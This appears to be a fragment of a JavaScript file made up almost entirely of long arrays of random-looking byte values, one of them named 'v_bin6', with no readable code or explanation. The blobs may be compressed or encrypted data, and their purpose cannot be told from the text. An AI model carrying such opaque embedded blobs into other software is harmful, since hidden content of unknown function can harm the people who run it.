160,76,133,15,134,122,200,25,133,222,181,196,205,241,141,15,192,106,35,255,214,194,179,12,197,123,170,146,5,41,131,207,195,95,106,139,121,226,168,238,162,141,125,127,26,199,51,6,195,235,246,218,83,187,134,74,96,101,119,195,86,220,201,136,124,234,99,23,183,53,178,54,75,145,44,15,241,236,220,39,197,0,67,235,114,176,132,35,250,156,80,196,6,42,29,187,2,231,139,123,128,250,247,213,53,70,144,90,53,117,85,180,107,251,158,27,131,99,115,82,72,57,101,56,149,245,30,124,122,121,59,68,13,14,82,241,90,157,107,250,239,221,32,8,92,203,238,29,102,16,216,245,101,148,255,118,249,190,27,28,2,228,97,158,167,46,155,103,102,28,222,248,48,212,248,38,22,243,61,178,222,2,147,45,141,199,47,163,38,15,78,97,178,147,130,89,101,105,235,82,172,237,68,61,121,98,129,92,102,252,4,225,65,4,65,216,240,194,121,36,0,241,228,50,41,153,218,64,122,40,57,149,113,172,171,189,36,33,101,193,214,252,32,127,145,120,73,177,193,85,244,214,68,52,156,224,116,249,109,201,211,63,231,25,30,16,196,60,102,249,40,76,187,114,182,213,192,22,31,77,255,49,81,157,0,172,111,22,97,64,129,249,80,138,254,38,23,185,243,211,210,189,0,88,26,100,33,196,190,43,130,181,120,133,121,176,198,100,174,126,139,105,247,150,164,86,62,223,240,45,229,73,246,110,17,82,125,59,216,106,209,174,71,136,28,112,239,66,76,0,63,89,96,173,127,165,174,195,204,160,223,90,91,233,106,45,102,167,254,201,45,176,176,59,7,128,203,43,233,11,164,185,184,51,56,223,62,121,101,70,104,78,98,232,112,64,225,144,183,160,234,153,123,27,248,238,84,214,157,53,236,176,110,191,38,108,235,173,146,72,21,97,85,130,117,247,173,212,127,2,86,16,157,195,14,86,49,169,12,161,86,120,245,200,231,202,12,156,151,64,47,191,53,99,215,233,96,188,104,80,1,11,88,109,129,128,53,25,211,172,208,117,86,232,227,233,141,102,41,187,217,209,47,61,232,180,0,13,70,135,233,187,104,162,163,97,210,180,46,22,106,196,177,165,1,138,217,238,93,14,106,12,219,211,64,195,2,212,23,16,224,28,26,57,63,196,5,221,142,116,21,44,126,108,7,89,125,7,93,120,158,40,30,30,86,16,184,136,143,89,184,218,165,4,19,234,159,209,181,19,134,48,59,187,122,200,46,123,215,199,96,34,174,29,197,98,87,76,61,116,91,182,40,203,77,247,146,153,240,28,254,201,119,11,160,175,70,140,142,94,217,207,84,49,11,249,34,68,224,153,15,66,14,175,212,138,207,112,231,218,167,221,30,222,253,118,92,62,114,142,142,169,240,239,212,242,199,23,27,160,130,6,225,134,20,255,199,163,146,104,81,10,18,228,187,5,165,99,187,200,159,178,235,146,145,13,86,163,173,191,109,243,33,19,110,51,138,172,39,186,115,25,56,91,137,206,24,9,236,71,187,166,185,14,10,11,191,114,138,6,187,248,111,213,2,76,6,193,223,85,152,251,21,238,249,215,13,156,17,154,17,15,53,38,92,203,228,28,198,147,56,204,217,8,67,200,4,243,249,226,179,56,109,122,31,27,213,236,225,220,129,201,7,211,174,228,111,74,193,44,11,37,184,198,161,72,136,22,69,84,102,22,187,0,68,53,158,153,56,174,140,16,254,250,2,83,137,19,234,174,104,229,239,164,178,52,102,234,195,106,236,186,235,214,138,139,25,39,50,252,219,223,161,63,140,168,72,65,180,211,30,85,171,158,167,172,82,143,54,139,135,122,253,156,199,247,147,197,231,135,43,148,129,8,14,144,35,189,99,130,128,41,61,47,104,187,19,86,152,253,145,63,4,138,176,202,67,224,198,19,29,252,204,238,105,180,33,124,55,85,202,170,98,127,170,208,173,38,242,185,117,125,37,249,197,55,75,226,165,162,64,213,176,69,112,254,176,90,52,69,40,188,239,193,119,238,8,27,141,175,185,42,196,69,1,241,115,19,132,38,138,71,232,67,227,141,104,49,217,222,180,144,42,129,206,180,102,194,152,62,17,227,23,100,60,109,173,101,251,90,150,195,57,239,113,23,160,151,9,238,91,41,123,35,128,124,157,220,158,60,42,119,44,73,163,49,80,141,224,214,32,105,175,104,237,165,139,148,113,219,47,107,174,20,224,70,159,145,60,227,104,168,131,51,204,69,46,132,68,237,112,113,194,173,96,35,160,193,39,202,110,103,14,248,78,63,11,194,30,150,252,152,35,242,150,112,134,196,66,162,239,102,211,47,100,31,52,70,23,96,190,230,46,35,110,19,178,106,161,174,123,76,144,211,142,111,243,123,231,123,169,33,9,252,195,162,135,223,117,114,72,141,215,254,127,27,167,226,3,52,194,179,125,236,57,197,53,220,43,139,167,8,55,114,131,172,126,202,126,54,186,125,60,225,16,47,230,51,151,183,138,242,205,63,83,107,113,158,184,198,101,174,142,130,198,228,236,2,126,18,67,223,203,104,114,203,130,15,148,66,28,204,59,166,197,173,44,0,32,59,56,176,133,165,216,233,22,163,87,212,72,79,147,241,172,42,45,144,157,96,15,59,213,225,101,201,106,249,53,51,31,39,185,68,188,73,20,127,52,30,10,150,210,240,12,238,23,76,142,89,241,15,17,207,136,107,236,50,13,51,38,8,49,74,211,75,108,83,241,227,114,226,122,110,65,243,0,21,38,98,133,226,166,255,45,13,0,159,47,184,35,114,216,69,242,252,96,238,77,129,249,71,34,163,44,244,23,101,240,52,64,97,85,245,253,20,188,208,153,197,56,191,40,64,61,193,136,167,206,164,119,221,136,53,25,79,233,153,14,124,38,192,193,138,75,223,71,183,108,156,223,38,106,25,233,79,42,85,117,186,201,130,170,3,201,99,216,229,180,80,237,252,10,224,2,184,243,30,129,146,88,114,86,204,103,116,37,25,131,92,174,116,87,76,206,128,170,212,173,61,194,67,208,60,22,162,193,30,141,74,253,8,88,31,165,205,21,181,120,187,158,214,53,4,178,25,25,63,63,133,94,162,24,131,198,151,103,15,2,208,181,85,100,112,149,199,188,116,116,232,116,81,183,113,188,153,52,187,186,216,184,121,197,119,96,237,72,183,100,77,187,237,168,41,119,237,156,222,30,216,9,242,35,99,67,185,25,66,230,24,82,150,158,61,100,75,91,127,193,185,238,254,130,184,104,110,200,1,7,9,176,216,61,151,245,142,169,34,57,23,40,178,77,207,238,157,31,186,102,205,236,157,205,185,102,47,180,158,253,34,70,161,200,96,64,216,59,223,20,194,213,221,223,210,245,26,49,49,31,239,156,18,85,103,166,111,164,106,235,147,160,70,108,66,137,138,212,4,54,186,130,9,90,237,113,123,163,155,88,50,200,231,54,161,244,65,221,82,70,184,93,208,140,214,71,107,237,143,164,230,118,103,17,238,5,214,64,167,255,110,137,18,59,161,98,203,215,114,183,106,121,199,158,234,155,229,158,118,135,197,1,237,185,29,24,124,182,33,255,108,112,119,201,132,5,43,78,13,114,13,68,73,2,71,116,152,87,221,130,246,192,14,150,179,202,138,223,62,168,253,99,61,15,3,241,191,221,113,40,81,9,165,115,12,84,183,253,163,223,115,250,55,214,171,28,53,113,120,144,4,15,75,29,130,148,220,214,217,112,205,219,8,118,172,133,101,191,24,121,8,211,49,8,46,233,133,82,96,230,11,107,238,231,80,21,169,120,150,38,57,7,223,112,2,3,76,240,70,189,213,200,193,74,0,32,40,50,219,226,224,147,201,101,110,100,125,157,75,37,142,205,73,83,103,15,102,98,229,76,203,201,68,215,20,97,78,129,179,27,175,31,108,84,12,47,230,33,74,172,120,79,15,5,52,174,176,175,46,234,243,119,135,126,194,243,228,212,251,93,224,188,2,222,58,195,32,237,8,143,243,48,15,91,13,216,190,226,228,214,154,63,184,162,78,113,169,54,171,58,178,78,141,188,149,98,222,184,31,159,57,75,62,185,51,137,141,120,253,200,44,81,112,152,126,101,254,212,254,220,242,215,101,70,228,199,125,47,202,183,213,169,125,249,63,216,88,218,38,137,204,98,65,64,199,225,202,165,78,101,105,63,63,62,250,201,160,249,188,158,5,61,34,174,14,193,60,67,42,155,242,109,103,10,49,82,254,215,196,212,190,191,157,23,69,225,132,103,244,89,238,198,157,183,135,12,99,99,42,33,247,152,158,35,53,55,214,76,212,227,77,136,68,182,170,246,221,116,31,52,94,52,214,92,121,199,222,252,120,64,248,29,85,46,106,180,240,174,56,124,152,118,250,149,208,193,18,194,110,233,51,37,94,93,222,87,224,96,83,17,178,198,56,106,112,88,242,53,153,178,65,107,176,61,37,128,84,102,96,120,119,75,228,46,41,196,223,12,185,91,134,82,59,45,150,69,84,41,43,251,60,194,146,28,53,179,94,244,132,157,169,86,12,137,251,183,224,24,5,56,239,72,206,37,88,102,19,85,147,27,130,188,81,226,70,32,141,11,246,137,117,154,6,139,79,85,137,217,250,161,197,216,59,131,252,44,193,240,44,195,141,19,57,126,153,204,243,89,166,21,230,58,178,223,228,204,176,64,126,228,223,82,178,18,195,210,183,80,231,167,217,15,16,29,3,60,217,15,41,140,255,193,148,1,30,193,38,9,248,38,18,8,204,158,35,188,170,225,226,69,63,98,108,92,117,193,106,18,133,172,149,49,206,193,142,104,191,62,190,219,157,104,30,183,212,213,79,103,130,89,199,98,14,174,187,232,135,35,8,40,80,139,216,110,158,172,188,230,0,13,187,95,76,193,126,252,122,89,47,213,184,221,153,78,83,115,124,241,192,175,206,86,44,174,253,149,144,158,40,124,130,193,183,109,175,177,208,174,106,228,220,220,194,58,208,19,197,234,238,246,88,104,51,52,94,131,57,199,106,149,248,70,44,90,126,161,36,17,156,28,0,59,106,117,23,211,59,2,66,136,229,238,181,214,38,161,85,156,198,113,217,104,121,204,16,247,47,61,98,112,66,42,207,158,112,191,117,15,219,48,36,65,18,159,242,166,84,39,167,43,150,208,46,43,239,119,236,30,57,124,91,32,65,242,186,72,153,142,54,98,101,91,33,19,91,25,179,242,48,162,49,219,75,59,83,122,105,5,208,67,67,107,224,32,117,23,40,46,78,213,105,23,188,197,124,28,124,233,246,90,93,216,171,188,234,5,244,203,141,157,160,249,81,105,26,110,22,167,150,197,161,11,223,209,91,246,97,183,186,197,168,170,163,163,191,15,251,240,200,114,225,96,238,91,77,0,218,198,205,123,159,138,53,29,17,152,157,6,2,248,209,243,38,181,46,141,35,44,227,45,85,35,99,199,20,131,63,44,207,219,205,178,22,57,195,83,232,97,27,128,99,190,223,207,238,96,57,238,63,100,64,235,115,255,47,35,147,185,5,77,107,68,193,190,112,134,2,204,72,131,73,117,60,82,137,90,72,197,170,164,120,246,30,132,182,135,235,174,141,91,57,123,49,112,11,147,157,80,85,177,73,54,17,194,253,129,120,194,224,170,142,20,151,150,189,229,191,225,91,77,83,59,223,34,17,54,141,120,254,180,161,48,12,219,12,238,145,210,10,40,167,235,126,123,43,126,69,117,165,245,164,157,211,188,26,25,203,186,1,96,241,29,44,16,50,200,213,120,205,65,198,121,40,182,142,163,77,111,227,201,198,197,46,16,223,202,189,68,22,53,43,18,12,241,223,30,44,221,5,187,15,64,121,116,190,160,117,132,22,107,243,50,9,141,237,21,137,10,178,60,23,192,248,205,213,77,254,14,117,163,67,43,104,12,158,138,30,239,165,33,193,196,130,69,144,62,65,122,33,16,199,22,20,208,177,140,207,65,38,189,6,122,79,194,7,254,4,8,59,173,67,42,20,235,43,73,164,171,249,151,173,11,37,234,143,50,229,59,32,190,222,15,233,255,80,147,101,219,246,178,183,35,53,201,122,127,151,48,87,173,136,146,71,146,5,64,236,149,72,218,192,192,76,236,51,98,143,103,228,238,192,48,57,40,188,122,94,226,156,228,222,219,178,51,202,119,74,150,219,135,0,28,26,27,167,185,61,21,231,6,187,17,34,77,211,227,37,158,226,176,181,210,208,116,238,21,74,176,201,236,151,112,166,120,31,219,42,173,68,96,130,176,246,177,56,255,22,228,103,19,124,213,241,83,71,244,113,193,72,138,50,118,169,189,20,44,224,175,165,26,0,218,93,212,169,175,101,158,114,115,18,98,237,85,48,140,37,74,87,227,190,107,93,27,155,226,45,222,1,125,118,86,95,248,149,138,59,36,185,229,191,218,2,96,238,141,182,95,103,71,184,175,249,169,110,202,247,102,102,51,51,56,95,218,17,209,88,192,242,4,141,156,108,51,217,47,86,139,140,132,45,9,102,129,107,73,16,75,140,35,214,5,15,8,94,78,144,11,170,115,154,125,166,167,6,209,124,231,152,177,234,45,106,97,35,72,118,147,35,82,0,112,170,92,128,153,67,59,145,131,218,115,113,165,155,135,44,24,107,175,90,0,143,133,189,194,26,130,116,146,112,243,126,0,125,244,212,68,200,253,138,56,247,158,73,140,167,227,178,154,192,164,255,155,144,184,68,247,37,114,130,159,126,143,244,74,69,191,144,232,178,16,152,225,192,204,138,184,151,22,216,94,67,31,127,160,171,52,210,172,177,227,222,79,152,122,215,204,254,139,129,115,50,98,49,61,170,0,123,238,155,104,168,182,22,40,44,23,20,71,46,33,210,110,248,49,213,48,162,167,188,30,53,69,1,244,200,2,53,90,75,167,94,226,205,195,51,132,216,89,12,64,183,221,49,141,92,72,205,233,155,245,31,69,208,227,222,96,128,136,9,64,137,163,79,181,134,143,16,207,144,21,162,187,27,55,204,191,62,78,243,230,242,75,69,183,97,12,53,166,187,145,248,248,140,40,120,210,72,137,209,170,52,186,59,191,160,111,215,127,127,66,221,46,4,156,41,33,226,93,191,22,73,211,31,7,215,32,118,12,237,191,152,73,178,43,91,213,237,82,3,59,213,165,119,137,51,248,69,89,4,199,236,55,232,227,31,101,39,9,188,111,140,44,36,172,132,0,194,82,85,63,45,225,203,188,24,48,101,49,105,49,244,20,92,127,175,136,40,238,151,215,235,74,241,49,48,171,150,5,31,35,241,76,33,65,166,183,57,145,249,184,213,228,116,220,74,13,85,163,187,154,136,54,159,116,176,31,110,86,177,130,132,172,188,84,161,61,62,148,254,181,234,40,35,84,198,102,162,132,134,79,179,50,26,94,91,9,51,81,179,153,171,247,88,148,223,192,66,48,249,168,190,121,149,229,235,207,57,97,95,102,81,59,251,121,29,238,167,87,139,131,109,68,229,143,62,125,153,187,212,154,157,71,232,155,9,116,128,145,200,0,205,165,27,161,46,195,208,56,185,86,110,197,139,108,59,110,68,26,85,194,45,168,253,102,108,179,166,131,226,176,128,185,54,90,193,14,240,204,244,242,50,15,176,179,181,216,245,231,7,126,77,224,228,133,101,151,4,63,191,132,210,187,246,157,164,34,196,255,101,47,178,190,41,145,188,141,249,188,40,205,64,83,56,128,59,168,119,199,107,142,254,131,71,108,218,229,40,164,79,199,11,173,211,16,47,56,233,101,18,71,188,80,123,42,65,159,244,179,152,71,133,135,144,217,60,132,174,199,197,70,171,141,28,137,232,218,9,225,102,6,22,196,158,138,158,24,106,150,160,129,149,8,50,186,6,179,69,245,151,236,255,20,105,92,145,154,221,34,5,120,57,255,22,56,75,35,230,155,53,194,4,75,53,237,146,81,33,218,132,228,252,212,103,154,44,108,45,237,245,204,203,159,25,93,197,169,32,80,69,94,229,211,47,50,252,199,219,39,125,43,138,193,71,180,25,108,142,6,119,13,90,185,104,17,40,101,151,53,11,253,157,168,9,188,206,250,217,83,146,142,220,32,96,57,70,113,100,0,30,149,17,60,107,127,203,8,59,153,83,235,42,17,1,90,219,78,140,118,210,124,42,145,226,85,141,90,240,12,104,84,66,212,186,67,84,71,23,115,176,74,171,131,59,0,220,119,152,63,236,38,253,98,106,94,82,196,152,10,195,165,67,184,150,76,131,188,196,38,129,78,147,66,182,83,34,63,125,132,221,80,215,99,169,115,33,3,89,125,237,202,238,156,40,84,68,27,176,199,119,41,79,252,158,40,60,78,243,50,31,13,117,68,17,54,97,151,6,180,240,216,101,172,11,53,101,170,246,31,193,20,200,53,42,121,191,252,94,188,79,105,26,122,23,240,95,133,18,234,175,148,163,147,135,157,4,17,87,47,199,217,169,187,37,100,136,60,198,129,213,133,194,11,107,5,98,214,63,241,226,176,38,239,213,101,18,114,2,237,208,31,247,14,125,112,18,37,201,112,54,151,201,124,197,23,96,128,33,113,185,35,22,113,196,184,21,183,111,50,107,93,127,52,139,251,131,221,209,133,3,78,92,197,217,48,151,129,65,103,59,161,38,162,156,193,140,7,243,247,56,152,30,70,143,243,110,22,199,182,112,9,147,141,160,1,145,166,56,44,78,13,60,176,99,205,120,164,109,52,126,13,103,148,167,33,6,198,147,236,251,4,109,41,34,49,90,33,19,152,132,122,134,16,13,13,194,76,22,137,183,248,243,1,218,156,212,97,142,198,66,234,46,59,189,9,51,104,228,227,5,25,60,68,128,142,251,109,193,74,75,192,7,89,29,36,166,138,122,62,100,92,74,10,180,44,225,7,220,165,19,37,219,88,237,64,147,20,241,203,52,82,108,54,191,58,34,208,150,55,105,176,185,153,185,198,120,121,126,110,3,24,34,120,83,60,219,148,124,202,186,73,197,79,2,199,92,15,36,139,28,1,24,95,14,143,175,184,225,58,235,61,227,101,48,130,31,207,69,37,105,71,247,168,93,189,144,220,21,187,178,89,53,255,139,4,95,41,38,244,120,106,243,176,187,57,108,59,138,224,186,159,79,15,255,187,186,105,123,94,105,192,71,139,154,61,167,121,254,169,166,193,208,35,247,142,99,118,63,102,86,123,173,64,193,73,244,88,136,172,144,98,48,62,96,42,197,248,33,164,156,29,101,26,50,227,49,216,207,25,185,61,77,196,88,4,157,14,46,49,166,53,43,196,66,189,105,75,48,3,105,65,76,179,120,66,0,139,50,205,124,33,44,137,31,71,242,59,96,62,59,211,111,4,252,223,24,28,82,175,83,104,51,82,178,82,242,58,174,200,183,255,155,178,224,97,146,187,72,155,247,38,42,104,69,19,206,115,45,179,205,166,147,147,139,214,1,145,121,118,113,193,147,107,56,196,175,143,197,19,99,114,227,122,103,236,53,202,210,175,22,191,208,79,231,92,208,241,237,215,92,136,110,214,82,68,247,104,181,148,62,150,214,15,4,251,223,130,33,103,121,229,242,137,46,158,166,82,227,157,222,186,201,78,134,33,3,91,187,95,35,207,18,62,35,12,188,16,189,244,5,30,41,119,103,217,79,110,141,149,228,178,18,182,105,79,205,249,140,51,170,109,171,72,28,238,183,226,49,145,47,148,61,153,39,143,65,251,87,148,202,13,3,4,121,143,74,248,164,75,127,155,22,3,40,185,177,71,130,80,81,66,141,244,175,198,51,39,20,243,158,29,71,120,10,168,248,118,213,181,88,98,87,212,110,229,82,246,199,207,115,231,164,205,191,224,208,16,207,9,40,20,175,195,131,4,239,186,154,172,202,251,242,29,195,217,144,49,130,45,41,39,137,255,73,45,135,196,45,198,33,154,160,220,6,56,251,186,33,124,156,31,9,182,105,217,185,50,105,128,214,168,150,94,58,113,168,46,35,146,11,16,7,206,5,166,37,118,160,208,221,51,173,24,22,201,150,58,238,174,202,28,81,169,18,107,243,147,191,38,1,99,251,241,94,137,203,68,152,19,65,199,230,62,235,222,247,40,55,215,182,166,137,71,113,62,236,47,223,160,116,18,69,117,186,10,37,89,43,62,127,5,123,112,191,54,159,187,237,234,203,224,48,125,46,3,166,107,160,140,215,125,218,12,215,249,25,80,226,89,110,119,14,252,55,193,51,141,30,115,110,48,206,42,141,57,234,88,218,159,77,82,226,208,153,146,165,153,22,168,132,100,35,132,160,162,28,157,62,252,219,109,221,215,75,242,12,142,67,224,165,157,30,36,222,94,156,214,100,170,218,70,86,55,66,174,167,29,164,21,165,153,27,165,167,101,72,201,0,89,182,215,203,163,112,34,175,204,177,66,239,31,76,165,218,91,188,247,17,114,151,151,60,199,54,200,7,44,239,25,149,117,116,190,154,148,102,21,38,170,121,60,94,248,19,127,69,56,20,168,25,210,180,23,150,229,122,149,102,136,162,238,22,219,175,176,72,29,81,220,197,126,213,53,178,109,102,150,79,169,33,145,108,108,213,106,227,91,158,219,130,9,241,142,179,106,29,5,201,251,19,29,90,77,65,0,247,160,11,172,157,118,130,116,45,68,186,37,80,255,1,69,82,70,26,4,214,10,107,105,200,108,161,99,175,248,1,28,110,14,30,251,132,222,158,34,81,20,223,216,248,187,194,112,31,246,195,249,247,248,102,2,182,45,238,228,121,36,105,58,183,173,148,20,124,126,145,198,206,222,242,120,237,136,87,127,227,60,31,116,114,234,205,216,228,67,7,205,28,63,238,25,144,7,188,190,112,169,73,12,147,91,179,214,23,110,218,90,179,201,230,143,6,64,250,240,235,63,220,170,170,120,133,129,48,109,48,198,54,156,174,161,216,78,229,13,24,214,253,163,89,197,48,124,70,170,51,195,169,57,242,47,217,112,128,112,23,233,212,66,31,69,210,201,222,78,9,81,134,53,120,109,91,184,226,20,137,12,202,28,16,222,191,59,56,76,91,42,217,250,161,159,137,120,252,252,115,5,76,212,180,177,153,216,141,80,68,106,103,230,49,205,181,184,118,72,183,203,203,210,106,223,34,144,13,30,176,12,228,72,178,233,135,245,246,58,165,250,202,172,25,44,230,25,94,60,59,45,80,61,19,189,4,135,189,132,49,49,11,93,39,40,132,108,65,164,192,35,245,168,31,11,128,242,26,98,196,201,74,244,43,153,30,80,170,153,94,235,171,150,197,150,231,141,94,151,207,239,247,65,119,155,98,48,86,243,37,26,216,143,158,6,133,247,82,143,70,149,113,39,130,101,106,159,17,59,49,89,83,238,242,75,205,167,29,87,8,183,213,152,104,162,37,10,237,237,24,172,25,238,11,237,30,165,93,153,219,164,111,61,236,68,245,215,29,51,221,206,222,34,98,126,201,242,148,21,155,119,3,194,59,61,196,72,76,99,183,47,245,152,182,61,202,133,133,153,75,231,96,76,155,194,234,18,234,57,136,117,62,169,144,90,2,47,179,109,120,253,99,64,106,44,66,40,218,43,83,237,98,82,146,194,176,203,109,145,58,25,220,50,65,78,120,131,127,181,122,154,99,25,11,244,41,146,7,42,137,76,237,184,101,181,27,103,103,250,87,115,173,122,84,37,181,159,226,138,80,99,56];
var v_bin6 = [55,157,82,27,180,39,13,119,68,29,79,125,60,216,179,201,14,26,221,218,140,168,83,34,69,155,208,92,47,194,44,236,153,21,160,115,187,32,177,156,194,125,45,196,147,163,181,173,81,81,217,178,5,187,142,46,52,212,250,251,121,172,121,42,208,135,170,204,174,219,134,222,158,243,157,166,77,62,43,103,28,234,170,148,119,57,253,110,81,148,14,175,9,172,7,17,101,163,250,99,245,106,113,233,172,31,116,201,41,172,55,28,35,113,79,12,237,144,94,227,88,78,156,48,78,119,106,63,218,65,226,232,28,136,156,43,70,141,203,52,109,144,209,179,205,149,207,175,159,132,251,173,18,77,207,12,14,13,198,156,190,90,94,92,146,80,245,76,71,49,210,50,109,137,192,73,33,80,26,75,35,2,18,218,235,26,82,105,57,34,201,7,67,29,86,202,203,47,117,39,210,52,143,222,242,201,13,162,202,75,207,153,210,131,227,97,165,15,240,84,6,103,227,249,132,52,185,181,141,33,203,125,82,198,193,53,197,26,135,108,121,250,224,20,221,202,105,75,42,5,234,228,44,191,191,167,48,203,148,67,46,97,176,171,18,146,100,40,245,130,231,230,45,172,153,7,19,70,94,37,11,228,108,134,32,62,29,227,225,118,51,165,87,221,185,195,69,77,227,163,46,30,115,66,210,70,90,63,240,134,199,252,99,27,50,111,227,165,189,169,145,96,212,194,30,205,78,14,203,106,119,248,90,29,198,240,113,132,166,197,121,241,170,250,191,254,136,171,174,53,216,214,8,28,33,186,91,198,103,28,167,160,166,19,63,83,157,85,192,5,111,44,62,231,159,83,79,59,12,16,13,0,190,68,138,72,188,31,149,180,237,68,21,225,172,59,234,180,229,65,80,191,84,22,241,112,81,183,215,63,195,187,95,171,120,114,129,27,150,105,79,11,175,255,171,227,10,49,242,154,147,151,110,129,230,212,175,122,249,191,168,182,219,235,251,237,45,162,95,186,59,106,119,93,127,6,50,9,194,189,228,103,90,61,87,104,126,116,213,175,115,151,230,247,211,31,190,13,101,87,7,31,62,155,187,206,242,172,6,96,42,155,202,233,100,16,100,17,178,120,28,193,82,57,178,103,62,103,247,190,88,99,139,180,108,30,42,91,141,247,83,81,20,57,12,231,21,16,192,105,223,27,233,123,163,13,197,220,85,238,141,91,2,144,202,129,48,242,193,173,29,122,146,65,15,179,92,138,139,41,113,159,163,39,161,187,211,36,204,151,8,26,20,171,251,126,223,232,212,150,170,33,241,248,94,164,185,195,19,159,82,34,44,94,153,59,154,27,141,136,17,38,64,225,188,132,43,1,255,74,135,100,73,187,109,206,218,47,163,251,105,22,100,8,50,159,158,194,241,82,161,137,84,119,211,107,96,103,25,162,199,90,165,85,205,194,129,55,246,64,27,223,4,47,115,169,131,159,164,196,173,79,122,171,133,84,202,62,43,217,238,131,166,101,45,48,40,101,200,35,17,182,110,115,161,183,12,80,76,133,59,25,217,99,172,46,217,236,37,39,24,235,134,52,215,63,59,24,75,173,250,114,194,94,42,99,175,140,225,199,68,19,90,132,199,20,12,62,219,79,236,240,15,15,59,103,67,161,89,10,248,86,53,239,95,128,248,142,94,80,241,126,105,137,205,23,158,130,2,104,121,115,41,66,224,208,243,250,201,229,176,47,110,208,2,255,233,237,154,170,234,254,115,42,202,72,73,5,172,75,204,246,115,58,46,149,1,187,74,115,70,235,83,103,192,112,104,39,132,36,87,45,44,251,57,223,61,100,23,184,86,81,9,66,125,211,160,54,20,5,154,18,248,160,61,39,206,13,180,121,247,98,26,94,202,78,106,229,13,8,122,83,34,143,204,40,174,36,88,235,233,220,218,105,132,143,72,24,155,57,95,224,184,63,217,179,111,1,235,74,252,17,225,125,23,76,229,231,168,237,242,110,131,85,213,142,171,179,18,42,57,91,238,93,173,80,97,4,108,163,198,108,110,39,138,75,137,77,51,208,249,39,55,216,147,237,219,67,223,128,107,99,64,48,247,208,93,79,77,65,75,89,58,230,174,220,224,35,158,76,255,21,72,232,173,163,178,48,16,21,112,208,205,36,243,37,240,252,172,150,114,254,71,176,12,101,163,236,58,171,129,23,251,234,207,200,2,59,250,249,230,18,48,125,10,35,76,136,170,159,101,197,32,173,130,41,210,235,245,149,125,197,23,43,175,105,125,22,133,44,135,22,152,68,79,103,217,122,165,215,84,251,126,114,112,163,8,150,65,3,46,98,89,212,38,198,92,194,181,208,184,210,23,142,55,103,157,211,93,68,17,96,25,214,247,79,138,166,14,207,180,10,145,145,209,105,26,181,84,119,53,105,244,45,116,219,108,49,22,155,161,37,118,224,161,191,246,170,227,27,193,248,244,120,40,249,60,144,243,97,191,155,140,64,37,142,238,92,27,41,211,85,50,16,124,57,208,45,19,39,193,56,240,124,36,84,58,151,227,243,244,161,196,202,91,59,200,169,206,197,154,78,176,13,22,201,115,8,11,204,69,202,180,153,143,123,130,60,117,27,218,181,223,162,75,18,159,7,55,220,30,86,46,8,251,134,28,97,247,35,42,121,60,219,182,138,78,77,4,38,110,252,80,183,22,52,46,42,179,71,235,47,207,21,188,38,223,54,89,175,112,76,210,46,189,128,246,124,238,218,190,230,85,222,98,250,63,3,24,121,48,23,105,199,189,41,177,149,237,55,139,129,5,194,122,65,157,117,25,98,135,252,201,128,13,243,37,158,101,57,243,205,73,212,109,248,82,86,67,5,99,35,134,149,26,112,161,219,151,97,138,21,130,165,146,54,27,111,41,83,122,197,125,13,198,246,239,163,89,151,35,232,123,147,97,65,35,156,184,158,194,55,87,141,122,105,22,149,201,137,244,78,158,227,70,180,56,229,117,106,174,142,3,57,215,139,86,227,155,106,217,180,90,117,26,115,245,22,19,61,142,151,3,72,0,34,153,6,189,164,225,200,93,15,198,164,11,248,207,163,56,30,47,78,12,102,45,101,57,112,66,214,228,45,59,61,70,238,240,255,94,49,204,130,210,158,6,203,103,204,93,150,126,135,193,203,128,45,120,124,9,60,120,164,30,93,245,189,143,169,53,46,170,121,169,44,242,93,48,193,91,201,238,234,69,246,241,84,96,142,251,206,110,248,209,237,151,29,25,59,112,24,141,59,174,177,213,101,178,112,83,211,121,194,149,24,222,169,84,17,162,65,72,111,20,24,179,34,15,171,19,237,154,181,182,97,252,209,225,65,199,173,35,192,116,66,43,243,58,45,109,246,191,93,154,191,109,160,196,183,72,11,53,145,92,179,192,185,17,236,181,155,217,46,5,253,95,168,31,221,143,67,227,194,106,207,82,5,96,169,26,121,217,61,157,70,88,179,9,244,69,113,244,17,39,64,204,254,0,234,27,96,76,26,245,48,244,109,78,221,27,180,134,21,41,24,53,229,116,29,80,121,96,243,69,212,35,133,29,71,92,21,201,26,249,206,82,234,85,235,222,233,195,60,117,166,177,126,39,25,115,173,83,178,43,99,59,164,221,232,131,103,187,51,156,152,179,20,52,144,93,10,67,213,139,89,202,189,24,4,31,142,243,108,107,103,211,181,70,2,169,205,197,84,177,96,201,93,164,26,5,7,139,82,165,87,46,39,147,197,119,113,46,208,159,198,245,53,156,227,61,232,88,26,116,84,92,123,144,4,12,106,154,190,244,111,91,14,95,185,201,134,201,170,173,147,31,192,196,155,88,147,69,35,32,93,53,214,130,3,188,253,187,132,252,216,0,184,29,72,4,2,221,125,103,2,246,136,41,191,156,15,112,139,167,17,109,35,251,194,177,191,188,62,78,146,43,152,7,150,185,30,150,18,70,245,196,19,37,244,215,177,86,128,113,6,89,205,45,43,140,32,239,180,12,98,205,252,192,230,200,152,2,115,111,113,212,34,102,1,53,53,81,11,190,42,227,14,119,119,35,20,241,252,24,210,182,87,190,110,182,80,145,41,84,221,219,116,80,210,61,147,209,182,122,220,213,155,6,64,176,249,248,4,121,94,125,50,19,246,67,35,234,141,110,211,13,48,80,169,197,92,192,159,118,42,204,114,146,146,181,42,202,119,192,57,249,109,238,0,72,198,178,42,56,121,254,120,6,215,117,52,84,166,61,131,32,235,210,85,206,161,27,230,112,71,201,146,77,53,135,34,59,191,231,98,19,119,219,40,11,47,70,72,174,178,183,2,219,114,95,80,173,76,167,34,248,100,134,105,58,204,33,188,98,114,84,31,172,166,197,245,51,143,61,200,54,80,104,36,166,36,196,254,14,33,251,84,229,148,178,55,85,174,195,15,29,167,206,19,63,119,156,200,35,234,32,243,236,217,141,5,54,118,186,193,76,195,52,203,189,23,56,47,184,40,97,64,197,149,217,197,60,107,189,156,157,139,132,151,208,153,41,86,129,189,119,149,241,16,89,132,105,156,165,231,100,141,87,105,158,162,108,152,142,89,19,54,207,131,77,97,47,195,180,71,175,61,219,180,53,167,22,16,61,61,103,62,173,128,180,94,221,8,248,73,41,67,227,19,49,137,84,141,73,64,173,206,211,206,106,186,210,144,24,118,101,16,104,122,159,49,52,144,167,15,139,109,141,0,21,38,195,157,141,253,4,8,225,7,161,44,87,192,241,163,222,247,234,165,0,45,78,134,158,170,194,247,79,59,55,230,45,129,69,178,146,181,0,139,123,188,57,102,112,159,52,179,222,116,189,128,150,239,108,0,2,73,123,237,12,93,219,28,205,209,152,202,143,86,178,57,59,105,204,127,165,160,227,153,115,30,129,130,213,89,20,44,169,16,107,39,74,155,230,165,25,